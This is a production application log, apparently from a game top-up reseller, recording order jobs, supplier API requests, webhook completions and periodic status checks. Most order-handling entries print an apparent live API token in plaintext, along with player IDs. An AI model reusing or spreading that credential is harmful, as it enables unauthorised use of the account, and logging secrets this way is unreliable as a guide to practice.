[2026-03-24 13:33:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:33:02] production.INFO: SendAcceptReject: Notification queued {"user_id":302,"notification_type":"order_approved","reference_id":178672} 
[2026-03-24 13:33:02] production.INFO: Order updated successfully. Order ID: 178672, Status: completed  
[2026-03-24 13:33:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Nug9FHe-1774348366","status":"completed","codes_count":0} 
[2026-03-24 13:33:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 302  
[2026-03-24 13:33:22] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 13:33:22] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"request_approved","reference_id":18614} 
[2026-03-24 13:33:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 225  
[2026-03-24 13:33:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 951  
[2026-03-24 13:33:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 13:34:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"dAHIYs65SUDD5guN73aGhZ4R2XmprfUb","execution_time":"2026-03-24 13:34:02"} 
[2026-03-24 13:34:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"dAHIYs65SUDD5guN73aGhZ4R2XmprfUb","execution_time":"2026-03-24 13:34:02","total_operations":1,"sites_count":1} 
[2026-03-24 13:34:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"dAHIYs65SUDD5guN73aGhZ4R2XmprfUb","execution_time":"2026-03-24 13:34:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-9snNM5s-1774348305"]} 
[2026-03-24 13:34:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"dAHIYs65SUDD5guN73aGhZ4R2XmprfUb","execution_time":"2026-03-24 13:34:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:34:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"dAHIYs65SUDD5guN73aGhZ4R2XmprfUb","execution_time":"2026-03-24 13:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dAHIYs65SUDD5guN73aGhZ4R2XmprfUb","execution_time":"2026-03-24 13:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:34:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"dAHIYs65SUDD5guN73aGhZ4R2XmprfUb","execution_time":"2026-03-24 13:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 13:34:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"dAHIYs65SUDD5guN73aGhZ4R2XmprfUb","execution_time":"2026-03-24 13:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"errors":0} 
[2026-03-24 13:34:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"dAHIYs65SUDD5guN73aGhZ4R2XmprfUb","execution_time":"2026-03-24 13:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 13:35:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 13:35:04] production.INFO: async() رجع: true  
[2026-03-24 13:35:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:35:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:35:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:35:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:35:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:35:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:35:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:35:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:35:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:35:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:35:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:36:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rXrrHaFauykDIn2cQYDdeZefLB79p7vm","execution_time":"2026-03-24 13:36:03"} 
[2026-03-24 13:36:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"rXrrHaFauykDIn2cQYDdeZefLB79p7vm","execution_time":"2026-03-24 13:36:03","total_operations":1,"sites_count":1} 
[2026-03-24 13:36:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rXrrHaFauykDIn2cQYDdeZefLB79p7vm","execution_time":"2026-03-24 13:36:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-9snNM5s-1774348305"]} 
[2026-03-24 13:36:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rXrrHaFauykDIn2cQYDdeZefLB79p7vm","execution_time":"2026-03-24 13:36:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:36:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rXrrHaFauykDIn2cQYDdeZefLB79p7vm","execution_time":"2026-03-24 13:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rXrrHaFauykDIn2cQYDdeZefLB79p7vm","execution_time":"2026-03-24 13:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:36:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rXrrHaFauykDIn2cQYDdeZefLB79p7vm","execution_time":"2026-03-24 13:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 13:36:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rXrrHaFauykDIn2cQYDdeZefLB79p7vm","execution_time":"2026-03-24 13:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593,"processed":0,"errors":0} 
[2026-03-24 13:36:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"rXrrHaFauykDIn2cQYDdeZefLB79p7vm","execution_time":"2026-03-24 13:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:36:05] production.INFO: Constructing job for order: 178673  
[2026-03-24 13:36:07] production.INFO: Handling job for order: 178673  
[2026-03-24 13:36:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:36:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:36:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=0dc84be7-b1d1-4de9-b913-3ed108434b3b&Player_ID=52283175999  
[2026-03-24 13:36:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=0dc84be7-b1d1-4de9-b913-3ed108434b3b&Player_ID=52283175999","has_body":false} 
[2026-03-24 13:36:08] production.INFO: Operation sent successfully {"operation_id":163595,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Baxs-1774348568","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:36:08"}},"processed_data":{"order_number":"ORD-Baxs-1774348568","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 13:36:29] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Baxs-1774348568","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:36:29] production.INFO: Processed webhook data (normalized) {"id":"ORD-Baxs-1774348568","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:36:29] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:36:29] production.INFO: SendAcceptReject: Notification queued {"user_id":373,"notification_type":"order_approved","reference_id":178673} 
[2026-03-24 13:36:29] production.INFO: Order updated successfully. Order ID: 178673, Status: completed  
[2026-03-24 13:36:29] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Baxs-1774348568","status":"completed","codes_count":0} 
[2026-03-24 13:36:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 373  
[2026-03-24 13:37:07] production.INFO: Constructing job for order: 178674  
[2026-03-24 13:37:08] production.INFO: Handling job for order: 178674  
[2026-03-24 13:37:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:37:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:37:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/601/params?qty=2500&uuid=64721e04-3cd9-424f-a5e2-b0fe7d53eb41&Player_ID=30573531  
[2026-03-24 13:37:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/601/params?qty=2500&uuid=64721e04-3cd9-424f-a5e2-b0fe7d53eb41&Player_ID=30573531","has_body":false} 
[2026-03-24 13:37:09] production.INFO: Operation sent successfully {"operation_id":163596,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-jtrstO0-1774348629","amount":2.33947050000000000835598257253877818584442138671875,"status":"processing","product":"Ayome Amount","game":"Ayome","notes":[],"created_at":"2026-03-24 13:37:09"}},"processed_data":{"order_number":"ORD-jtrstO0-1774348629","amount":2.33947050000000000835598257253877818584442138671875,"status":"processing","product":"Ayome Amount","game":"Ayome"}} 
[2026-03-24 13:37:16] production.INFO: Constructing job for order: 178675  
[2026-03-24 13:37:18] production.INFO: Handling job for order: 178675  
[2026-03-24 13:37:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:37:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:37:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/91/params?qty=1&uuid=3acd30a3-db83-4f93-957e-b3a9f6738d13&Player_ID=14535692884  
[2026-03-24 13:37:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/91/params?qty=1&uuid=3acd30a3-db83-4f93-957e-b3a9f6738d13&Player_ID=14535692884","has_body":false} 
[2026-03-24 13:37:19] production.INFO: Operation sent successfully {"operation_id":163597,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-o5E4aand-1774348639","amount":18.693000000000001392663762089796364307403564453125,"status":"processing","product":"2200+240 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 13:37:19"}},"processed_data":{"order_number":"ORD-o5E4aand-1774348639","amount":18.693000000000001392663762089796364307403564453125,"status":"processing","product":"2200+240 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 13:38:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"blTbFo2JtwLAVUydij04msYtiqkWfFnI","execution_time":"2026-03-24 13:38:04"} 
[2026-03-24 13:38:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"blTbFo2JtwLAVUydij04msYtiqkWfFnI","execution_time":"2026-03-24 13:38:04","total_operations":3,"sites_count":1} 
[2026-03-24 13:38:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"blTbFo2JtwLAVUydij04msYtiqkWfFnI","execution_time":"2026-03-24 13:38:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-9snNM5s-1774348305","ORD-jtrstO0-1774348629","ORD-o5E4aand-1774348639"]} 
[2026-03-24 13:38:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"blTbFo2JtwLAVUydij04msYtiqkWfFnI","execution_time":"2026-03-24 13:38:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:38:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"blTbFo2JtwLAVUydij04msYtiqkWfFnI","execution_time":"2026-03-24 13:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 13:38:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"blTbFo2JtwLAVUydij04msYtiqkWfFnI","execution_time":"2026-03-24 13:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:38:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"blTbFo2JtwLAVUydij04msYtiqkWfFnI","execution_time":"2026-03-24 13:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-jtrstO0-1774348629","operation_id":163596} 
[2026-03-24 13:38:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"blTbFo2JtwLAVUydij04msYtiqkWfFnI","execution_time":"2026-03-24 13:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:38:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"blTbFo2JtwLAVUydij04msYtiqkWfFnI","execution_time":"2026-03-24 13:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 13:38:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"blTbFo2JtwLAVUydij04msYtiqkWfFnI","execution_time":"2026-03-24 13:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597,"processed":0,"errors":0} 
[2026-03-24 13:38:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"blTbFo2JtwLAVUydij04msYtiqkWfFnI","execution_time":"2026-03-24 13:38:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:38:20] production.INFO: Constructing job for order: 178676  
[2026-03-24 13:38:22] production.INFO: Handling job for order: 178676  
[2026-03-24 13:38:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:38:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:38:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=18000&uuid=03ae2ea2-9f4c-4483-8485-e06b9d745061&Player_ID=1734749050  
[2026-03-24 13:38:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=18000&uuid=03ae2ea2-9f4c-4483-8485-e06b9d745061&Player_ID=1734749050","has_body":false} 
[2026-03-24 13:38:23] production.INFO: Operation sent successfully {"operation_id":163598,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mAa-1774348703","amount":2.02608000000000032514435588382184505462646484375,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 13:38:23"}},"processed_data":{"order_number":"ORD-mAa-1774348703","amount":2.02608000000000032514435588382184505462646484375,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 13:38:29] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-mAa-1774348703","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:38:29] production.INFO: Processed webhook data (normalized) {"id":"ORD-mAa-1774348703","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:38:29] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:38:29] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":178676} 
[2026-03-24 13:38:29] production.INFO: Order updated successfully. Order ID: 178676, Status: completed  
[2026-03-24 13:38:29] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-mAa-1774348703","status":"completed","codes_count":0} 
[2026-03-24 13:38:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 13:39:04] production.INFO: Constructing job for order: 178677  
[2026-03-24 13:39:05] production.INFO: Handling job for order: 178677  
[2026-03-24 13:39:05] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:39:05] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:39:05] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=ce2c1c12-f97e-4f70-bc0c-47696c244764&Player_ID=51995420549  
[2026-03-24 13:39:05] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=ce2c1c12-f97e-4f70-bc0c-47696c244764&Player_ID=51995420549","has_body":false} 
[2026-03-24 13:39:06] production.INFO: Operation sent successfully {"operation_id":163599,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mpG-1774348746","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:39:06"}},"processed_data":{"order_number":"ORD-mpG-1774348746","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 13:39:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-mpG-1774348746","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:39:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-mpG-1774348746","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:39:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:39:24] production.INFO: SendAcceptReject: Notification queued {"user_id":1718,"notification_type":"order_approved","reference_id":178677} 
[2026-03-24 13:39:24] production.INFO: Order updated successfully. Order ID: 178677, Status: completed  
[2026-03-24 13:39:24] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-mpG-1774348746","status":"completed","codes_count":0} 
[2026-03-24 13:39:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1718  
[2026-03-24 13:39:35] production.INFO: Constructing job for order: 178678  
[2026-03-24 13:39:36] production.INFO: Handling job for order: 178678  
[2026-03-24 13:39:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:39:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:39:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=0d3cecd8-a9d9-4ad9-b943-a05bce61a491&Player_ID=11200494  
[2026-03-24 13:39:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1200&uuid=0d3cecd8-a9d9-4ad9-b943-a05bce61a491&Player_ID=11200494","has_body":false} 
[2026-03-24 13:39:37] production.INFO: Operation sent successfully {"operation_id":163600,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-rDqJ-1774348777","amount":2.06149584000000007932840162538923323154449462890625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 13:39:37"}},"processed_data":{"order_number":"ORD-rDqJ-1774348777","amount":2.06149584000000007932840162538923323154449462890625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 13:40:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-jtrstO0-1774348629","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:40:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-jtrstO0-1774348629","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:40:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:40:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1606,"notification_type":"order_approved","reference_id":178674} 
[2026-03-24 13:40:03] production.INFO: Order updated successfully. Order ID: 178674, Status: completed  
[2026-03-24 13:40:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-jtrstO0-1774348629","status":"completed","codes_count":0} 
[2026-03-24 13:40:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"iz6gjIlXOrAmXSVRj0HABWcDWepvNBe0","execution_time":"2026-03-24 13:40:04"} 
[2026-03-24 13:40:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"iz6gjIlXOrAmXSVRj0HABWcDWepvNBe0","execution_time":"2026-03-24 13:40:04","total_operations":3,"sites_count":1} 
[2026-03-24 13:40:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"iz6gjIlXOrAmXSVRj0HABWcDWepvNBe0","execution_time":"2026-03-24 13:40:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639","ORD-rDqJ-1774348777"]} 
[2026-03-24 13:40:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"iz6gjIlXOrAmXSVRj0HABWcDWepvNBe0","execution_time":"2026-03-24 13:40:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:40:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"iz6gjIlXOrAmXSVRj0HABWcDWepvNBe0","execution_time":"2026-03-24 13:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 13:40:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iz6gjIlXOrAmXSVRj0HABWcDWepvNBe0","execution_time":"2026-03-24 13:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:40:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iz6gjIlXOrAmXSVRj0HABWcDWepvNBe0","execution_time":"2026-03-24 13:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:40:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"iz6gjIlXOrAmXSVRj0HABWcDWepvNBe0","execution_time":"2026-03-24 13:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rDqJ-1774348777","operation_id":163600} 
[2026-03-24 13:40:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"iz6gjIlXOrAmXSVRj0HABWcDWepvNBe0","execution_time":"2026-03-24 13:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rDqJ-1774348777","operation_id":163600,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 13:40:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"iz6gjIlXOrAmXSVRj0HABWcDWepvNBe0","execution_time":"2026-03-24 13:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rDqJ-1774348777","operation_id":163600,"processed":0,"errors":0} 
[2026-03-24 13:40:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"iz6gjIlXOrAmXSVRj0HABWcDWepvNBe0","execution_time":"2026-03-24 13:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rDqJ-1774348777","operation_id":163600} 
[2026-03-24 13:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 13:40:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 13:40:06] production.INFO: async() رجع: true  
[2026-03-24 13:40:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:40:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:40:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:40:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:40:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:40:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:40:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:40:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:40:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:40:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:40:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:40:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1606  
[2026-03-24 13:42:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"sZlq338fHdhJj5IRC2dLUG1HGe6t8Kx8","execution_time":"2026-03-24 13:42:02"} 
[2026-03-24 13:42:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"sZlq338fHdhJj5IRC2dLUG1HGe6t8Kx8","execution_time":"2026-03-24 13:42:02","total_operations":3,"sites_count":1} 
[2026-03-24 13:42:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"sZlq338fHdhJj5IRC2dLUG1HGe6t8Kx8","execution_time":"2026-03-24 13:42:02","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-9snNM5s-1774348305","ORD-o5E4aand-1774348639","ORD-rDqJ-1774348777"]} 
[2026-03-24 13:42:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"sZlq338fHdhJj5IRC2dLUG1HGe6t8Kx8","execution_time":"2026-03-24 13:42:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:42:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"sZlq338fHdhJj5IRC2dLUG1HGe6t8Kx8","execution_time":"2026-03-24 13:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 13:42:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"sZlq338fHdhJj5IRC2dLUG1HGe6t8Kx8","execution_time":"2026-03-24 13:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9snNM5s-1774348305","operation_id":163593} 
[2026-03-24 13:42:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"sZlq338fHdhJj5IRC2dLUG1HGe6t8Kx8","execution_time":"2026-03-24 13:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-o5E4aand-1774348639","operation_id":163597} 
[2026-03-24 13:42:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"sZlq338fHdhJj5IRC2dLUG1HGe6t8Kx8","execution_time":"2026-03-24 13:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rDqJ-1774348777","operation_id":163600} 
[2026-03-24 13:42:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"sZlq338fHdhJj5IRC2dLUG1HGe6t8Kx8","execution_time":"2026-03-24 13:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rDqJ-1774348777","operation_id":163600,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 13:42:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"sZlq338fHdhJj5IRC2dLUG1HGe6t8Kx8","execution_time":"2026-03-24 13:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rDqJ-1774348777","operation_id":163600,"processed":0,"errors":0} 
[2026-03-24 13:42:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"sZlq338fHdhJj5IRC2dLUG1HGe6t8Kx8","execution_time":"2026-03-24 13:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rDqJ-1774348777","operation_id":163600} 
[2026-03-24 13:42:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-rDqJ-1774348777","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
